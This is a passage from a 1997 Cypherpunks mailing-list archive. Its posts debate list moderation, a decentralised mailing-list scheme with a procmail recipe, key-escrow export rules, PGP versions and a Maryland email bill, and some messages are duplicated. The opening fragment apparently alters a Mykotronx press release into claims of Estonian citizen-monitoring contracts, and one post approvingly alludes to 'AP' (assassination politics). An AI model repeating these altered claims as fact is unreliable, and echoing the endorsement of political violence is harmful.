MYKOTRONX Ltd. ja ta hind kuigub 10 kuni 30 dollarini olenevalt konkreetsest t||bist ning ta on vuimline kr|pteerima/deshifreerima 15-20 MB/s." Spysrus agrees to integrate into Personel Surveillance System (PSS) modules for Internal Security Service (ISS) use.for over 79,000 of Mykotronx's new Capstone encryption processor (MYK-82). The devices will be used to build part of the Estonian government's order of Fortezza Cryptographic Cards for the PSS awarded November 1996. Initial delivery of the new cryptographic processor will begin June 1997. The MYK-82, developed by Mykotronx and fabricated by VLSI Technology, Inc., is the first of a series of security products to be developed as part of an alliance with the NSA, targeting both Government and commercial citizen monitoring markets. -- From ichudov at algebra.com Mon Feb 3 19:26:10 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Mon, 3 Feb 1997 19:26:10 -0800 (PST) Subject: Dissolving Choke Points (fwd) Message-ID: <199702040326.TAA12077@toad.com> > From: ####### ### <###@###.com> > To: ichudov at algebra.com > Subject: Re: Dissolving Choke Points > > ichudov at algebra.com writes: > > i do have unix (linux) and stuff, but i can't take a lot of subscribers > > -- maybe 200-300 or so. > > > > i actually wrote a proposal for a mailing list without a central control > > point, with several advantages being impossibility of control, absense > > of a single point of failure, and cryptographic verification of honesty > > of moderators. > > > > if there is any interest, i will post it here. > > Please do. > > Regards, > > ####### ### Here, I propose a new scheme for the Cypherpunks mailing list that would 1) Ensure that no one person is able to take over the control over the list 2) Ensure that there will be no single point of failure, i.e., shutdown of any single computer will not kill the list 3) Ensure that even people with relatively small Net resources can help keep the list afloat. The idea is as follows: even though Cypherpunks is one group, the group will be based on multiple mailing lists with identical content. These lists may be named, for example, cypherpunks at algebra.com, cypherpunks at toad.com, and cypherpunks at netcom.com (obviously, these names are used as an example only). Any user is free to subscribe to any of these lists. All of these lists will interact with each other in the following way: 1) Each node would forward ALL incoming submissions to a) all other nodes and b) to all subscribers "attached" to the node 2) Each node will send information about all new subscriptions to each other node. The following procmail recipes for cypherpunks@ accounts may be used to ensure quick forwarding: # is it sent to cypherpunks (some spams will be trashed here) # and is it not a mail loop? :0 * ^TOcypherpunks * !^X-Loop: { # # This recipe removes duplicates! # :0 Wh: msgid.lock | formail -D 32768 msgid.cache # forward it to other cypherpunks lists :0 c !cypherpunks at netcom.com cypherpunks at toad.com # send it to all local subscribers :0 c !majordomo -some -arguments # store the checksum and message-id for honesty verification (see below) :0 |accounting } # suSCRibe/unsuSCRibe recipes go here This scheme ensures that the list is run in a cooperative fashion and can be maintained by a number of individuals without any one of them having an expensive internet connection or being "in charge". It also ensures that even if one node fails, traffic can be re-routed to other nodes. Just as well, it ensures that any attempts of cheating will be noticed: it is easy to write a bot that would subscribe to all of these lists and see if any messages get "lost". Users can send their articles to only one node, or, if they feel paranoid, to several nodes at once. All we need is to make sure that all Message-IDs of outgoing messages are unique at every node. Honesty verification: I suppose that there may be some more elaborate, crypto-based schemes to control and monitor article distribution. For example, there can be another list, cypherpunks-control, where each of the nodes posts a publicly available signed summary of checksums of articles that went through, and individual users would be able (with the help of s simple client program) to verify that 1) They received these articles 2) That summaries received from all nodes are identical 3) That all articles were received by all nodes They do not HAVE to do it, but they can if they want. If they do, there will be no way for list maintainers to censor anything. If a node goes down or if the users' verification scripts indicate a potential for cheating, they can resubscribe to some other node and let everyone else know what's going on. My proposal strikes me as fairly simple and potentially workable. Even though 90% of the users will never get to usnig the verification mechanism, it will ensure honesty. Note also that this mechanism is a gross simplification of the way USENET works, so some may vouch for a usenet group instead. Your opinions will be appreciated. - Igor. From roach_s at alph.swosu.edu Mon Feb 3 19:27:47 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Mon, 3 Feb 1997 19:27:47 -0800 (PST) Subject: Dissolving Choke Points Message-ID: <199702040327.TAA12103@toad.com> At 10:55 AM 2/3/97 -0800, Peter Hendrickson wrote: ... >Another lesson is the danger of choke points. We can see how >tempting it is for people to exercise their control. Even John Gilmore >was unable to restrain himself from involuntary social engineering >experiments. Who would we have considered to be more trustworthy? > >Toad.com is a choke point, not just in terms of moderation but in >terms of the rate at which it can distribute messages. Let's >replace it. > >What we want are many machines carrying the cypherpunks list. A >message posted to any machine goes to all of the others. Each >machine sends messages to its subscribers only once. Some of >these machines should be across borders. > >The mail loop and multiple posting problems are solved by observing >the message IDs. > >Fast implementation: use moderated mailing list software. Put a >filter in the .forward file of the "moderator" account which looks >at the message ID and forwards the message if it hasn't been seen >already. The mailing list machines all subscribe each other. ... What you are suggesting is reminiscent of IRC. Except, I think that each IRC network has a central computer which could be controlled. On your idea for fast implementation, this could be hacked by would-be censors. A message comes into the list, the censor sees that the post is from a regular enemy. The censor then copies the header information onto a new message, one containing garbage, or snippets from old posts, reads the new post to see if it is acceptable, and if it is, adds a new header, probably only the time would be changed, and transmits it out. If the would be censor was the sysop of a machine near the origin of the message, and if the censor operated the censorship either by bots, or monitored the feed 24 hours a day, (not likely), then the actual message would get to few. From thad at hammerhead.com Mon Feb 3 19:29:39 1997 From: thad at hammerhead.com (Thaddeus J. Beier) Date: Mon, 3 Feb 1997 19:29:39 -0800 (PST) Subject: GAK cracking? Message-ID: <199702040329.TAA28399@hammerhead.com> TIS's press releases, and the article in the paper, imply that TIS has been approved for 128 bit (uncrackable, except by prior arrangement) cryptography...not just 56 bit. They say, and they should know, that you can export 56 bits now with just a "plan" of key escrow, and that you can export more if you have a system... which, what do you know, they have! thad -- Thaddeus Beier thad at hammerhead.com Visual Effects Supervisor 408) 287-6770 Hammerhead Productions http://www.got.net/people/thad From cbarnett at eciad.bc.ca Mon Feb 3 19:38:41 1997 From: cbarnett at eciad.bc.ca (Clint Barnett) Date: Mon, 3 Feb 1997 19:38:41 -0800 (PST) Subject: Getting into MIT is impossible In-Reply-To: <199701290659.WAA21869@toad.com> Message-ID: wasn't Dolph Lundgren an MIT grad? I seem to remember something about him having a degree in Chemical Engineering or something along those lines. clint barnett lord of the cosmos emily carr institute On Wed, 29 Jan 1997, Anonymous wrote: > > > According to Rick Osborne: > > "I disagree and can speak from experience. I was denied admission to MIT > even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP tests > with two 5's, four 4's, two 3's, and one 2. As for being well-rounded, I > was on several academic teams, sang in Chorus, acted and stage managed in > Drama, and played Tennis." > > People get into MIT--or don't get into MIT--for lots of reasons. Most > intelligent people apply to several schools, knowing that admissions > practices are subject to the vagaries of reality. > > In my case, my SATs were about 1500, with some 800s in achievement tests. > And the usual bullshit high school clubs, political offices, etc. etc. I > was accepted by MIT, but not by Caltech. I didn't lose any sleep over the > way things turned out. > > And I decided not to go to MIT, either. > > "The only thing I didn't have that the next MIT applicant had was money. I > made the mistake of letting them know that I was dirt poor and would need > full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the > Russian front!"" > > My guess is that "other factors" were involved. > > I noted with some interest, but little surprise, that the guy claiming MIT > required a 4.0 GPA and a 1600 combined SAT score could barely spell, and > had major problems making a coherent point. Methinks this is why MIT > rejected him, not his lack of a "1600." > > ">For what it's worth, I wanted to go to MIT my sophomore year in high > >school, too > > "Lucky you. It had been a dream of mine since I was an annoying > overachiever of 6. Sux to be white trash, I guess." > > MIT offered me a substantial economic aid package, in the form of loans, > grants, and various campus jobs. What does this tell you? > > "MIT may be a great school, but they tend to be snooty assholes for the most > part. (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty > assholes", I'm just saying that I've yet to meet one that wasn't.) > > I've known about a dozen or so MIT grads, and only one of them was a snooty > asshole, and it was a _she_, one of the first MIT women grads (and she was > _very_ impressed by this). > > Most MIT grads are perfectly reasonable. > > Xanthar > > > > > -- > From jimbell at pacifier.com Mon Feb 3 19:45:44 1997 From: jimbell at pacifier.com (jim bell) Date: Mon, 3 Feb 1997 19:45:44 -0800 (PST) Subject: Embarrass a Marylander, Go to Jail Message-ID: <199702040345.TAA03330@mail.pacifier.com> At 08:04 PM 2/3/97 -0500, Robert Hettinga wrote: > >--- begin forwarded text > Excerpted from... > > ============================================================= > AOP Bulletin Friday, February 3, 1997 Volume 97:05 > ============================================================= > > The following is information distributed to members of the > Association of Online Professionals and others involved in the > online communications industry. Contacts and other information > about AOP may be found at http://www.aop.org. > > > ***************************************************** > Maryland Recycles Law On "Annoying" E-Mail > ***************************************************** > > A Maryland bill that would make it illegal to send "annoying" or > "embarrassing" e-mail was introduced this week by Democratic General > Assembly member Samuel Rosenberg. I would find any email "annoying" that supported such a bill. Maybe we ought to send emails to Rosenberg, stating that we find his entire proposal "annoying," and ask him when he's going to turn himself in for his misdeeds. Another good argument for AP. Jim Bell jimbell at pacifier.com From jimbell at pacifier.com Mon Feb 3 19:45:49 1997 From: jimbell at pacifier.com (jim bell) Date: Mon, 3 Feb 1997 19:45:49 -0800 (PST) Subject: GAK cracking? Message-ID: <199702040345.TAA03337@mail.pacifier.com> At 10:45 AM 2/3/97 -0500, tmcghan at gill-simpson.com wrote: >But under a controversial new Clinton administration policy that took >effect Jan. 1, companies may receive permission to export stronger >programs. > >"I'm happy that we've been able to do this within the first month >without rancor or difficulty," Under Secretary of Commerce for Export >Administration William Reinsch told Reuters in a telephone interview. > >To export stronger programs immediately, companies must agree to >incorporate features within two years allowing the government to >decode encrypted messages by recovering the software keys, however. This ought to be challengeable. (equal-protection violation?) And while the government's actions are normally phrased in this way, another way to describe them is to argue that the government is: 1. Wanting a product or service to be developed. 2. Wants private companies to do this. 3. Wants to do so without Congress appropriating the money. (And they're doing it by, in effect, "paying" for it by allowing certain companies to export freely, with the requirement that the company does the work "gratis".) 4. Wants to do so without any sort of competitive bidding process. (The terms of the contract have not gone through any of the normal procedures.) I assume there are laws and/or rules which prohibit exactly this kind of behavior. Would it be possible to file a lawsuit, and then file for an injunction to prevent this de-facto deal from going through? Might this constitute an anti-trust violation, because multiple companies are acting in concert to restrict access to the foreign crypto market by agreeing to develop ONLY A CERTAIN KIND OF ENCRYPTION, namely GAKked encryption? Jim Bell jimbell at pacifier.com From froomkin at law.miami.edu Mon Feb 3 19:46:46 1997 From: froomkin at law.miami.edu (Michael Froomkin - U.Miami School of Law) Date: Mon, 3 Feb 1997 19:46:46 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" In-Reply-To: <199702031455.GAA25476@toad.com> Message-ID: I agree with two of Tim's points. I express no opinion about the others, except that I think these are the two most important. (1) I agree with Tim that as a matter of principle, it would be preferable to create a new moderated list, with a similar but distinguishable name, and leave the existing list as it was. I happen to think less turns on this than does Tim, given the opportunity to exercise truth-in-labeling, but it seems to me that because the cost of this approach is zero, and it has real benefits in the eyes of some, it's a no-brainer. I expect that I would subscribe to the filtered version. If someone is really worried that the new list will be too low traffic (please, G*d), they can send an automatic ballot to all subscribers, USENET style,asking what list(s) they want to be on. My own view is that if you are not ready, willing or able to read and follow a periodic posting explaining how to sign on/off various lists (and I assume there should and would be one), I am willing to take the risk of missing your input. (2) Much to my surprise, so far moderation is a failure. I think it is a failure because it achieves neither of the moderation "sweet spots". No moderation is one "sweet spot". Strict moderation -- the kind you get on RISKS, where you know nearly every post is on-topic or at least worth your time -- is another. This is neither. My clumsy procmail filters are almost as busy as ever. What slips through is largely duplicative of what I get from other lists, or is not to my taste. (NB *my taste*.) And it gets here slower. It's true that the venom from anonymous remailers is gone, and that is a plus, but even so little of what slips through is of interest modulo other lists. I happen to think that *stricter* moderation might lure back some of the better content-providers, but it would help to set it up in a manner that offends the smallest possible number. As Oscar Wilde either said, or should have said, the worst crime is to be boring. PS. New members of the list may justly ask, where does he get off calling the posters he doesn't killfile bores? I stopped posting a lot to the list some time ago, back when I decided my energies were better spent writing long stuff (see my web page) and playing with my kids. I kept reading the list primarily to read the work of about six people -- and Tim was one of them. A. Michael Froomkin | +1 (305) 284-4285; +1 (305) 284-6506 (fax) Associate Professor of Law | U. Miami School of Law | froomkin at law.miami.edu P.O. Box 248087 | http://www.law.miami.edu/~froomkin Coral Gables, FL 33124 USA | It's warm here. From gbroiles at netbox.com Mon Feb 3 19:53:53 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Mon, 3 Feb 1997 19:53:53 -0800 (PST) Subject: Dissolving Choke Points Message-ID: <3.0.1.32.19970203195901.006ea230@mail.io.com> At 10:55 AM 2/3/97 -0800, Peter Hendrickson wrote: >Moderation has been a failure. I'm pretty good at filtering and I >can sadly report that there is very little signal out there. I don't think it's reasonable to expect an increase in signal within 2 1/2 weeks of the start of moderation. Improvement in the s/n ratio, yes. But (at least if my speculation is correct), the good posts driven away by bad posts (because some good authors are too busy to wade through lots of crap, and some good authors are reluctant to publish their work amidst crap) would take a much longer time to return. (I'm working on a message re moderation and the list which will better explain what I think about that - but I'm not trying to argue, above, that we *must* have moderation for a long time - simply that it's too early to call it a failure for failing to significantly increase the number of useful messages.) >There are lessons to be learned here. One is that censorship does >not promote a stimulating and creative dialogue. No, that is a silly lesson to draw from this experiment. There are lots of useful and interesting "moderated" (on paper, it's called "editing") publications/lists/digests where the content is intentionally controlled for content and style. This particular implementation is imperfect. However, just as it would be overreaching to conclude from the relative uselessness of the pre-moderation list that "every list must be moderated, unmoderated lists cannot succeed", it overreaches to conclude from the current results that moderated lists cannot succeed. >Toad.com is a choke point, not just in terms of moderation but in >terms of the rate at which it can distribute messages. Let's >replace it. > >What we want are many machines carrying the cypherpunks list. A >message posted to any machine goes to all of the others. Each >machine sends messages to its subscribers only once. Some of >these machines should be across borders. > >The mail loop and multiple posting problems are solved by observing >the message IDs. I think you misspelled "Usenet". Hope this helps. Seriously, if you want a distributed no-choke-points "flooding" message distribution system, you're talking about Usenet. Robust software exists for clients and servers, and it's already supported worldwide on many operating systems. No need to write more software to graft that functionality onto E-mail. If the list is going to turn into Usenet (we've already got most of Usenet's better kooks), we might as well just move the damn thing over to alt.cypherpunks and be done with it. (Anyone care to guess who founded alt.* as a way to route around censorship?) (Of course, Usenet is a technical success and a spectacular failure, content-wise. So opponents of moderation will be forgiven for failing to mention this sparkling example of an unmoderated, anything-goes forum for discussion.) -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From lwjohnson at grill.sk.ca Mon Feb 3 20:06:29 1997 From: lwjohnson at grill.sk.ca (Larry Johnson) Date: Mon, 3 Feb 1997 20:06:29 -0800 (PST) Subject: Let Paranoia Be Your Watchword... In-Reply-To: Message-ID: <32F6CAEF.7508@grill.sk.ca> Declan McCullagh wrote: > > Of course, the mind-flayers of the NSA might have altered every version of > PGP 2.1! Let paranoia be your watchword... My uncle says that sometimes (your last sentence). Maybe he got it from you? He keeps your messages in a dir called NotADork. This is the one he keeps track the size of by bytes. He says that he keeps track of the size of his Dorks dir by wieghing it on the bathroom scale. (This is a compliment5 to you.) > I wouldn't be so quick to rule out the possibility of you being "a real > lamer," if I were you. I don't. I let _lamer_ be my watchword... Everyones a lamer, sometimes. A "real lamer" is a lamer all the time. Cypherpunks have some guys who talk real intelligent with a lot of words but when you read it all, you can tell that their full-time lamers instead of just ocassional ones. Your hardly ever a lamer. From lwjohnson at grill.sk.ca Mon Feb 3 20:06:30 1997 From: lwjohnson at grill.sk.ca (Larry Johnson) Date: Mon, 3 Feb 1997 20:06:30 -0800 (PST) Subject: PGP 2.1 Reasons In-Reply-To: <199702022225.OAA03367@toad.com> Message-ID: <32F6D1E4.19D6@grill.sk.ca> Mark Henderson wrote: > > I've heard this rumour before. I didnt hear any rumor or anything. It just makes sense to me to be paranoid like Mr. Zimmerman said. Besides, my uncles friends write cryptagraphy for government guys and big businesses and they mostly use 2.1 and 2.3 instead of the stuff they write. They say the code for the new stuff (PGP) is ok but there are too many funny-stuff programs being written that mess with it but that nobody is bothering to write funny-stuff to mess with the old versions. They say the same thing about their own stuff that they are writing. > Of course, feel free not to trust what I say. You can look at the > source code yourself. But from what I've seen, you'll be better off > with the latest version. I cant read code real good, so i just listen to the best guys I know to know how paraniod to be. > The world is a strange and dangerous place. "No shit, Sherlock!" Thats what we say on my lists when people say stuff that nobody should forget. I think a lot of the cypherpunks forgot the stuff that they put at the end of their messages since they dont do it. Thanks for writing me. Your polite and helpful. Mutatis Mutantdis wrote:> Well, start thinking.... My uncle says I must be a cryptagrapher because I think in random umbers. Then he laughs. Marcus Butler wrote: If you are going to be that paranoid about things, you should not use anything you did not write yourself, afterall, even the cypherpunks list could be an elaborate government scheme to lull people into using PGP and similar technologies (JJ). I dont write good code yet. My uncle and his friends say that the government guys couldnt ever do what they wanted with the cypherpunks because of the shit-disturbers on the list but that the big business guys who want to own the list to themselves will do what the government guys couldnt do. (They ought to know cause some of them are the government guys who watch the cypherpunks. I know cause they let me drink Scotch with them.) From lwjohnson at grill.sk.ca Mon Feb 3 20:08:12 1997 From: lwjohnson at grill.sk.ca (Larry Johnson) Date: Mon, 3 Feb 1997 20:08:12 -0800 (PST) Subject: PGP 2.1 In-Reply-To: <199702022225.OAA03367@toad.com> Message-ID: <32F6C659.2B24@grill.sk.ca> Mark Henderson wrote: > > I've heard this rumour before. I didnt hear any rumor or anything. It just makes sense to me to be paranoid like Mr. Zimmerman said. Besides, my uncles friends write cryptagraphy for government guys and big businesses and they mostly use 2.1 and 2.3 instead of the stuff they write. They say the code for the new stuff (PGP) is ok but there are too many funny-stuff programs being written that mess with it but that nobody is bothering to write funny-stuff to mess with the old versions. They say the same thing about their own stuff that they are writing. > Of course, feel free not to trust what I say. You can look at the > source code yourself. But from what I've seen, you'll be better off > with the latest version. I cant read code real good, so i just listen to the best guys I know to know how paraniod to be. > The world is a strange and dangerous place. "No shit, Sherlock!" Thats what we say on my lists when people say stuff that nobody should forget. I think a lot of the cypherpunks forgot the stuff that they put at the end of their messages since they dont do it. Thanks for writing me. Your polite and helpful. From jimbell at pacifier.com Mon Feb 3 20:11:16 1997 From: jimbell at pacifier.com (jim bell) Date: Mon, 3 Feb 1997 20:11:16 -0800 (PST) Subject: Embarrass a Marylander, Go to Jail Message-ID: <199702040411.UAA13267@toad.com> At 08:04 PM 2/3/97 -0500, Robert Hettinga wrote: > >--- begin forwarded text > Excerpted from... > > ============================================================= > AOP Bulletin Friday, February 3, 1997 Volume 97:05 > ============================================================= > > The following is information distributed to members of the > Association of Online Professionals and others involved in the > online communications industry. Contacts and other information > about AOP may be found at http://www.aop.org. > > > ***************************************************** > Maryland Recycles Law On "Annoying" E-Mail > ***************************************************** > > A Maryland bill that would make it illegal to send "annoying" or > "embarrassing" e-mail was introduced this week by Democratic General > Assembly member Samuel Rosenberg. I would find any email "annoying" that supported such a bill. Maybe we ought to send emails to Rosenberg, stating that we find his entire proposal "annoying," and ask him when he's going to turn himself in for his misdeeds. Another good argument for AP. Jim Bell jimbell at pacifier.com From cbarnett at eciad.bc.ca Mon Feb 3 20:11:17 1997 From: cbarnett at eciad.bc.ca (Clint Barnett) Date: Mon, 3 Feb 1997 20:11:17 -0800 (PST) Subject: Getting into MIT is impossible Message-ID: <199702040411.UAA13268@toad.com> wasn't Dolph Lundgren an MIT grad? I seem to remember something about him having a degree in Chemical Engineering or something along those lines. clint barnett lord of the cosmos emily carr institute On Wed, 29 Jan 1997, Anonymous wrote: > > > According to Rick Osborne: > > "I disagree and can speak from experience. I was denied admission to MIT > even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP tests > with two 5's, four 4's, two 3's, and one 2. As for being well-rounded, I > was on several academic teams, sang in Chorus, acted and stage managed in > Drama, and played Tennis." > > People get into MIT--or don't get into MIT--for lots of reasons. Most > intelligent people apply to several schools, knowing that admissions > practices are subject to the vagaries of reality. > > In my case, my SATs were about 1500, with some 800s in achievement tests. > And the usual bullshit high school clubs, political offices, etc. etc. I > was accepted by MIT, but not by Caltech. I didn't lose any sleep over the > way things turned out. > > And I decided not to go to MIT, either. > > "The only thing I didn't have that the next MIT applicant had was money. I > made the mistake of letting them know that I was dirt poor and would need > full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the > Russian front!"" > > My guess is that "other factors" were involved. > > I noted with some interest, but little surprise, that the guy claiming MIT > required a 4.0 GPA and a 1600 combined SAT score could barely spell, and > had major problems making a coherent point. Methinks this is why MIT > rejected him, not his lack of a "1600." > > ">For what it's worth, I wanted to go to MIT my sophomore year in high > >school, too > > "Lucky you. It had been a dream of mine since I was an annoying > overachiever of 6. Sux to be white trash, I guess." > > MIT offered me a substantial economic aid package, in the form of loans, > grants, and various campus jobs. What does this tell you? > > "MIT may be a great school, but they tend to be snooty assholes for the most > part. (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty > assholes", I'm just saying that I've yet to meet one that wasn't.) > > I've known about a dozen or so MIT grads, and only one of them was a snooty > asshole, and it was a _she_, one of the first MIT women grads (and she was > _very_ impressed by this). > > Most MIT grads are perfectly reasonable. > > Xanthar > > > > > -- > From thad at hammerhead.com Mon Feb 3 20:11:31 1997 From: thad at hammerhead.com (Thaddeus J. Beier) Date: Mon, 3 Feb 1997 20:11:31 -0800 (PST) Subject: GAK cracking? Message-ID: <199702040411.UAA13277@toad.com> TIS's press releases, and the article in the paper, imply that TIS has been approved for 128 bit (uncrackable, except by prior arrangement) cryptography...not just 56 bit. They say, and they should know, that you can export 56 bits now with just a "plan" of key escrow, and that you can export more if you have a system... which, what do you know, they have! thad -- Thaddeus Beier thad at hammerhead.com Visual Effects Supervisor 408) 287-6770 Hammerhead Productions http://www.got.net/people/thad From blancw at MICROSOFT.com Mon Feb 3 20:12:07 1997 From: blancw at MICROSOFT.com (Blanc Weber) Date: Mon, 3 Feb 1997 20:12:07 -0800 (PST) Subject: Govt & cyberspace Message-ID: <88CE23A0B727D0118BB000805FD47524AF3DAB@RED-81-MSG> Comments From: Steve Schear (in response to Vladimir Nuri-logical) Even better, this [govmt "tech envy"] is an opportunity to choke off all, or certainly increased, funding in order to hasten its [govmt] collapse. ...&... Don't improve it, remove it! ...&... Democracy is not without its significant shortcomings. If you doubt this read Tocquevelle. ........................................ Very pertinent suggestions. Anyone who knows his history on the list knows how Nuri-logical looks forward to the collapse of governments and is especially fond of reading Tocqueville. .. Blanc From jimbell at pacifier.com Mon Feb 3 20:13:01 1997 From: jimbell at pacifier.com (jim bell) Date: Mon, 3 Feb 1997 20:13:01 -0800 (PST) Subject: GAK cracking? Message-ID: <199702040413.UAA13311@toad.com> At 10:45 AM 2/3/97 -0500, tmcghan at gill-simpson.com wrote: >But under a controversial new Clinton administration policy that took >effect Jan. 1, companies may receive permission to export stronger >programs. > >"I'm happy that we've been able to do this within the first month >without rancor or difficulty," Under Secretary of Commerce for Export >Administration William Reinsch told Reuters in a telephone interview. > >To export stronger programs immediately, companies must agree to >incorporate features within two years allowing the government to >decode encrypted messages by recovering the software keys, however. This ought to be challengeable. (equal-protection violation?) And while the government's actions are normally phrased in this way, another way to describe them is to argue that the government is: 1. Wanting a product or service to be developed. 2. Wants private companies to do this. 3. Wants to do so without Congress appropriating the money. (And they're doing it by, in effect, "paying" for it by allowing certain companies to export freely, with the requirement that the company does the work "gratis".) 4. Wants to do so without any sort of competitive bidding process. (The terms of the contract have not gone through any of the normal procedures.) I assume there are laws and/or rules which prohibit exactly this kind of behavior. Would it be possible to file a lawsuit, and then file for an injunction to prevent this de-facto deal from going through? Might this constitute an anti-trust violation, because multiple companies are acting in concert to restrict access to the foreign crypto market by agreeing to develop ONLY A CERTAIN KIND OF ENCRYPTION, namely GAKked encryption? Jim Bell jimbell at pacifier.com From nobody at zifi.genetics.utah.edu Mon Feb 3 20:23:35 1997 From: nobody at zifi.genetics.utah.edu (Anonymous) Date: Mon, 3 Feb 1997 20:23:35 -0800 (PST) Subject: Dissolving Choke Points In-Reply-To: Message-ID: <199702040423.VAA14422@zifi.genetics.utah.edu> pdh at best.com (Peter Hendrickson) writes: > What we want are many machines carrying the cypherpunks list. A > message posted to any machine goes to all of the others. Each > machine sends messages to its subscribers only once. Some of > these machines should be across borders. Ever heard of Usenet? It works exactly like that... From froomkin at law.miami.edu Mon Feb 3 20:26:33 1997 From: froomkin at law.miami.edu (Michael Froomkin - U.Miami School of Law) Date: Mon, 3 Feb 1997 20:26:33 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702040426.UAA13722@toad.com> I agree with two of Tim's points. I express no opinion about the others, except that I think these are the two most important. (1) I agree with Tim that as a matter of principle, it would be preferable to create a new moderated list, with a similar but distinguishable name, and leave the existing list as it was. I happen to think less turns on this than does Tim, given the opportunity to exercise truth-in-labeling, but it seems to me that because the cost of this approach is zero, and it has real benefits in the eyes of some, it's a no-brainer. I expect that I would subscribe to the filtered version. If someone is really worried that the new list will be too low traffic (please, G*d), they can send an automatic ballot to all subscribers, USENET style,asking what list(s) they want to be on. My own view is that if you are not ready, willing or able to read and follow a periodic posting explaining how to sign on/off various lists (and I assume there should and would be one), I am willing to take the risk of missing your input. (2) Much to my surprise, so far moderation is a failure. I think it is a failure because it achieves neither of the moderation "sweet spots". No moderation is one "sweet spot". Strict moderation -- the kind you get on RISKS, where you know nearly every post is on-topic or at least worth your time -- is another. This is neither. My clumsy procmail filters are almost as busy as ever. What slips through is largely duplicative of what I get from other lists, or is not to my taste. (NB *my taste*.) And it gets here slower. It's true that the venom from anonymous remailers is gone, and that is a plus, but even so little of what slips through is of interest modulo other lists. I happen to think that *stricter* moderation might lure back some of the better content-providers, but it would help to set it up in a manner that offends the smallest possible number. As Oscar Wilde either said, or should have said, the worst crime is to be boring. PS. New members of the list may justly ask, where does he get off calling the posters he doesn't killfile bores? I stopped posting a lot to the list some time ago, back when I decided my energies were better spent writing long stuff (see my web page) and playing with my kids. I kept reading the list primarily to read the work of about six people -- and Tim was one of them. A. Michael Froomkin | +1 (305) 284-4285; +1 (305) 284-6506 (fax) Associate Professor of Law | U. Miami School of Law | froomkin at law.miami.edu P.O. Box 248087 | http://www.law.miami.edu/~froomkin Coral Gables, FL 33124 USA | It's warm here. From gbroiles at netbox.com Mon Feb 3 20:26:37 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Mon, 3 Feb 1997 20:26:37 -0800 (PST) Subject: Dissolving Choke Points Message-ID: <199702040426.UAA13731@toad.com> At 10:55 AM 2/3/97 -0800, Peter Hendrickson wrote: >Moderation has been a failure. I'm pretty good at filtering and I >can sadly report that there is very little signal out there. I don't think it's reasonable to expect an increase in signal within 2 1/2 weeks of the start of moderation. Improvement in the s/n ratio, yes. But (at least if my speculation is correct), the good posts driven away by bad posts (because some good authors are too busy to wade through lots of crap, and some good authors are reluctant to publish their work amidst crap) would take a much longer time to return. (I'm working on a message re moderation and the list which will better explain what I think about that - but I'm not trying to argue, above, that we *must* have moderation for a long time - simply that it's too early to call it a failure for failing to significantly increase the number of useful messages.) >There are lessons to be learned here. One is that censorship does >not promote a stimulating and creative dialogue. No, that is a silly lesson to draw from this experiment. There are lots of useful and interesting "moderated" (on paper, it's called "editing") publications/lists/digests where the content is intentionally controlled for content and style. This particular implementation is imperfect. However, just as it would be overreaching to conclude from the relative uselessness of the pre-moderation list that "every list must be moderated, unmoderated lists cannot succeed", it overreaches to conclude from the current results that moderated lists cannot succeed. >Toad.com is a choke point, not just in terms of moderation but in >terms of the rate at which it can distribute messages. Let's >replace it. > >What we want are many machines carrying the cypherpunks list. A >message posted to any machine goes to all of the others. Each >machine sends messages to its subscribers only once. Some of >these machines should be across borders. > >The mail loop and multiple posting problems are solved by observing >the message IDs. I think you misspelled "Usenet". Hope this helps. Seriously, if you want a distributed no-choke-points "flooding" message distribution system, you're talking about Usenet. Robust software exists for clients and servers, and it's already supported worldwide on many operating systems. No need to write more software to graft that functionality onto E-mail. If the list is going to turn into Usenet (we've already got most of Usenet's better kooks), we might as well just move the damn thing over to alt.cypherpunks and be done with it. (Anyone care to guess who founded alt.* as a way to route around censorship?) (Of course, Usenet is a technical success and a spectacular failure, content-wise. So opponents of moderation will be forgiven for failing to mention this sparkling example of an unmoderated, anything-goes forum for discussion.) -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From nobody at zifi.genetics.utah.edu Mon Feb 3 20:30:32 1997 From: nobody at zifi.genetics.utah.edu (Anonymous) Date: Mon, 3 Feb 1997 20:30:32 -0800 (PST) Subject: Moderation [Tim,Sandy] In-Reply-To: <199702032348.XAA00259@server.test.net> Message-ID: <199702040430.VAA14550@zifi.genetics.utah.edu> Adam Back writes: > Lucky Green writes: > > I believe that Cypherpunks is beyond hope of recovery. In fact, each day > > Cypherpunk (as in cypherpunks at toad.com) lives on, it does damage to the > > cause. Let's kill the list. Once and for all. Let the hard core crypto go > > to Coderpunks, the politics to Cryptography, and the garbage into the void. > > What about the leaks? (rc4.c, Mykotronics dumpster contents, etc) > Where do they go? How about sci.crypt, where they usually go before being forwarded to cypherpunks? From dlv at bwalk.dm.com Mon Feb 3 20:50:22 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Mon, 3 Feb 1997 20:50:22 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" In-Reply-To: <199702040139.TAA01626@manifold.algebra.com> Message-ID: <8N3k2D1w165w@bwalk.dm.com> ichudov at algebra.com (Igor Chudov @ home) writes: > Adam Back wrote: > > > > Perhaps it is time to reconsider the benefits of alt.cypherpunks. (As > > an aside, it is ironic that John Gilmore was the guy who started the > > alt.* USENET hierarchy, specifically to facilitate freedom of speech). > > > > An interesting idea. John Gilmore of EFF is a liar and a hypocrite who likes to claim credit for other people's accomplishments. He had nothing whatsoever to do with the creation of the alt.* Usenet hierarchy. Gilmore is a liar and a censor. On the other hand, creating an alt.cypherpunks sounds like a more robust idea than yet another mailing list. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From kent at songbird.com Mon Feb 3 21:19:57 1997 From: kent at 